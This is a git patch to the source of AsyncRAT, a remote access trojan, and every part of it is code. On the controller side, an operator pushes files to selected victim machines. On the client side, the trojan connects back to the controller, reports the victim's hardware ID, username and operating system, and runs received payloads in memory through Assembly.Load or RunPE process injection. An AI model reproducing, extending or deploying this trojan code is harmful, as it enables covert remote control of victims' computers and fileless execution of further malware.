From cda9bb7d43888a80a6cce8b24526ba354a18868a Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 6 Feb 2019 08:11:10 -0800 Subject: [PATCH] Update Clean the code. Fixed SendToMemory dialog bug. --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 43 +++++++++-------- .../Handle Packet/HandlePacket.cs | 28 +++++------ AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 4 +- AsyncRAT-C#/Client/Client.csproj | 2 + AsyncRAT-C#/Client/Program.cs | 47 ++++++++++--------- 5 files changed, 67 insertions(+), 57 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 7fc8cba..a4896aa 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -217,28 +217,31 @@ namespace AsyncRAT_Sharp { SendFileToMemory SF = new SendFileToMemory(); SF.ShowDialog(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "sendMemory"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString())); - if (SF.comboBox1.SelectedIndex == 0) + if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green) { - msgpack.ForcePathObject("Inject").AsString = ""; - msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); - } - else - { - msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); - } - - foreach (ListViewItem C in listView1.SelectedItems) - { - Task.Run(() => + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "sendMemory"; + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString())); + if (SF.comboBox1.SelectedIndex == 0) { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); - CL.LV.ForeColor = Color.Red; - }); + msgpack.ForcePathObject("Inject").AsString = ""; + msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); + } + else + { + msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text; + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + } + + foreach (ListViewItem C in listView1.SelectedItems) + { + Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Red; + }); + } } SF.Close(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 1ab5e48..30046cb 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -13,18 +13,18 @@ namespace AsyncRAT_Sharp.Handle_Packet { try { - MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(Data); - switch (unpack_msgpack.ForcePathObject("Packet").AsString) - { - case "ClientInfo": + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes(Data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "ClientInfo": if (Program.form1.listView1.InvokeRequired) { Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { Client.LV = new ListViewItem(); Client.LV.Tag = Client; - Client.LV.Text = string.Format("{0}:{1}",Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); + Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); @@ -32,13 +32,13 @@ namespace AsyncRAT_Sharp.Handle_Packet Settings.Online.Add(Client); })); } - break; + break; - case "Ping": - { - Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); - } - break; + case "Ping": + { + Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + } + break; case "Received": { @@ -51,9 +51,9 @@ namespace AsyncRAT_Sharp.Handle_Packet } } break; - } + } } - catch(Exception ex) + catch (Exception ex) { Debug.WriteLine(ex.Message); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 965bede..e90a930 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -18,8 +18,8 @@ namespace AsyncRAT_Sharp.Sockets private bool BufferRecevied { get; set; } private MemoryStream MS { get; set; } public ListViewItem LV { get; set; } - // private event ReadEventHandler Read; - // private delegate void ReadEventHandler(Clients client, byte[] data); + // private event ReadEventHandler Read; + // private delegate void ReadEventHandler(Clients client, byte[] data); private object SendSync { get; set; } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 7367ea7..4fbeed1 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -21,6 +21,8 @@ DEBUG;TRACE prompt 4 + + x86 diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 4f8a8dd..facfb74 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -23,6 +23,7 @@ using System.Security.Cryptography; namespace Client { + /// The Main Settings class Settings { public static readonly string IP = "127.0.0.1"; @@ -30,6 +31,8 @@ namespace Client public static readonly string Version = "0.2.2"; } + /// The Main Class + /// Contains all methods for socket and reading the packets class Program { public static Socket Client { get; set; } @@ -49,16 +52,17 @@ namespace Client } } + /// Initialization variables and connect to socket. public static void InitializeClient() { try { Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { - ReceiveBufferSize = 50 * 1024, - SendBufferSize = 50 * 1024, - ReceiveTimeout = -1, - SendTimeout = -1, + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + ReceiveTimeout = -1, + SendTimeout = -1, }; Client.Connect(Settings.IP, Settings.Port); Debug.WriteLine("Connected!"); @@ -66,7 +70,7 @@ namespace Client Buffersize = 0; BufferRecevied = false; MS = new MemoryStream(); - SendSync = new object(); + SendSync = new object(); BeginSend(SendInfo()); TimerCallback T = Ping; Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); @@ -80,6 +84,7 @@ namespace Client } } + /// Cleanup everything and start to connect again. public static void Reconnect() { if (Client.Connected) return; @@ -88,11 +93,8 @@ namespace Client try { - if (Client != null) - { - Client.Close(); - Client.Dispose(); - } + Client?.Close(); + Client?.Dispose(); } catch { } @@ -101,13 +103,14 @@ namespace Client InitializeClient(); } + /// Method to send our ID to server's listview. private static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); - msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString()+ " " + Environment.Is64BitOperatingSystem.ToString().Replace("True","64bit").Replace("False","32bit"); + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString() + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); return msgpack.Encode2Bytes(); } @@ -132,6 +135,8 @@ namespace Client return strResult.ToString().Substring(0, 12).ToUpper(); } + /// get the length of the buffer by reading byte by byte [1] + /// until we get the full size. public static void ReadServertData(IAsyncResult ar) { try @@ -195,6 +200,7 @@ namespace Client } } + /// Handle the packet public static void Read(object Data) { try @@ -238,14 +244,13 @@ namespace Client Thread thread = null; if (Injection.Length == 0) { - thread = new Thread(new ParameterizedThreadStart(SendToMemory)); + thread = new Thread(new ParameterizedThreadStart(SendToMemory)); } else { - thread = new Thread(new ParameterizedThreadStart(RunPE)); + thread = new Thread(new ParameterizedThreadStart(RunPE)); } thread.Start(parameters); - } break; @@ -304,8 +309,7 @@ namespace Client private static void SendToMemory(object obj) { object[] Obj = (object[])obj; - var Buffer = (byte[])Obj[0]; - var Injection = (string)Obj[1]; + byte[] Buffer = (byte[])Obj[0]; Assembly Loader = Assembly.Load(Buffer); object[] Parameters = null; if (Loader.EntryPoint.GetParameters().Length > 0) @@ -313,7 +317,6 @@ namespace Client Parameters = new object[] { new string[] { null } }; } Loader.EntryPoint.Invoke(null, Parameters); - } private static void RunPE(object obj) @@ -332,12 +335,14 @@ namespace Client public static void Ping(object obj) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); - BeginSend(msgpack.Encode2Bytes()); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); + BeginSend(msgpack.Encode2Bytes()); } + /// Send + /// adding the buffersize in the beginning of the stream public static void BeginSend(byte[] buffer) { lock (SendSync)